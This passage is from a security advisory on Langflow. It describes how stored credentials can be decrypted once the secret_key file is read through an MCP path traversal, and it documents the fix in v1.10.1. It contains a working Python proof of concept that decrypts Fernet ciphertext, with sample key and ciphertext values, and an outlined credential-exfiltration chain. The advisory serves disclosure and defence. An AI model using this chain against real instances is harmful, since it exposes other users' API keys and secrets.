The identical logic is duplicated in src/backend/base/langflow/services/auth/utils.py, lines 292–318 (called by DatabaseVariableService.create_variable and update_variable).
What is encrypted under this key:
All variables stored with type = "Credential" — this is the default for OpenAI API keys, Anthropic API keys, and any secret stored via the Variables UI or API:
# services/variable/service.py
encrypted_value = auth_utils.encrypt_api_key(value) if type_ == CREDENTIAL_TYPE else value
Why this is critical in combination with the MCP path traversal:
The secret_key file is stored at /app/data/.cache/langflow/secret_key — readable via the MCP path traversal vulnerability. Once exfiltrated:
If len(secret_key) < 32: run random.seed(secret_key) → derive identical key → decrypt all credentials instantly
If len(secret_key) >= 32: pad the key directly → decrypt all credentials instantly
No brute force needed in either case once the file is read.
PoC
#!/usr/bin/env python3
# Requires: pip install cryptography
import random
import base64
from cryptography.fernet import Fernet
# --- Scenario A: SHORT secret key (< 32 chars) --- triggers vulnerable PRNG branch
def decrypt_short_key(secret_key: str, ciphertext: str) -> str:
random.seed(secret_key)
key_bytes = bytes(random.getrandbits(8) for _ in range(32))
fernet_key = base64.urlsafe_b64encode(key_bytes)
return Fernet(fernet_key).decrypt(ciphertext.encode()).decode()
# --- Scenario B: LONG secret key (>= 32 chars) --- key exfiltration scenario
def decrypt_long_key(secret_key: str, ciphertext: str) -> str:
padding_needed = 4 - len(secret_key) % 4
padded = secret_key + "=" * padding_needed
return Fernet(padded.encode()).decrypt(ciphertext.encode()).decode()
# Values obtained from /app/data/.cache/langflow/secret_key (exfiltrated)
# and from SELECT value FROM variable WHERE type='Credential' in langflow.db
SECRET_KEY = "DJMcAXyLbLrKRmPRTBNlJzY4gkbe3g1lyDgJ90c8p0E" # 43 chars → long branch
CIPHERTEXT = "gAAAAABpux-Gz_3PFcaPJF1aqZAUfB76OomPJ8rvp9Q8hKvBVG_GgvSIdWwgknXqO0rVUbfSiflKFp6wDdeU9uWy_sPsKPLBr_i5ZOPAAP2c5EKkx5vtc1M="
plaintext = decrypt_long_key(SECRET_KEY, CIPHERTEXT)
print(f"Decrypted credential: {plaintext}")
# Output: sk-test-SENTINEL-VALUE-12345
Two Credential-type variables found in the variable table
Both decrypted successfully: "dummy" and "sk-test-SENTINEL-VALUE-12345"
The sentinel value (sk-test-SENTINEL-VALUE-12345) was stored via the API and immediately recovered from raw DB ciphertext using only the exfiltrated secret_key
End-to-end chain (with MCP path traversal):
# Step 1: Exfiltrate secret_key via MCP path traversal (no admin required, any authenticated user)
# Step 2: Query DB credentials via path traversal (SQLite file readable)
# Step 3: Decrypt offline — zero brute force, instant
python3 poc_decrypt.py "$SECRET_KEY" "$CIPHERTEXT"
# → all stored API keys revealed
Impact
All stored user credentials are at risk in any Langflow deployment where an attacker can read the secret_key file. Combined with the MCP path traversal vulnerability, this creates a complete remote credential exfiltration chain requiring only a low-privilege account:
OpenAI, Anthropic, and other LLM provider API keys stored by any user are decryptable
Database connection strings and passwords stored as credentials are exposed
OAuth tokens and webhook secrets stored via the Variables UI are exposed
All users on the instance are affected — credentials are stored per-user in the shared database but all encrypted under the same instance-wide SECRET_KEY
In multi-tenant or enterprise Langflow deployments, a single attacker account is sufficient to exfiltrate every credential stored by every user on the instance. The attack is fully offline after the two file reads (secret_key + database), leaving no server-side log traces.
Fix
Fixed in v1.10.1 by PR #13704 (commit 094694d3f2).
ensure_fernet_key() (src/backend/base/langflow/services/auth/utils.py) no longer seeds Python's non-cryptographic random module for short SECRET_KEY values. The 32-byte key is now derived deterministically with SHA-256:
Backward-compatible decryption of ciphertext written under the old PRNG-derived key is preserved via get_fernet_for_decryption(), which returns a MultiFernet trying the new SHA-256 key first and a legacy key second. The legacy key is reproduced with a local random.Random(secret_key) instance (not the global random module), so it can decrypt old data without ever being usable to derive new keys or mutating global PRNG state. All new encryption goes through the SHA-256 key only.
Operator note: deployments running with a SECRET_KEY shorter than 32 characters derive a different Fernet key after upgrading to 1.10.1+ and must re-enter previously stored credentials (existing ciphertext is still readable for migration, but new writes use the new key). The default generated SECRET_KEY (secrets.token_urlsafe(32), 43 characters) takes the long-key branch and was never affected by the PRNG issue.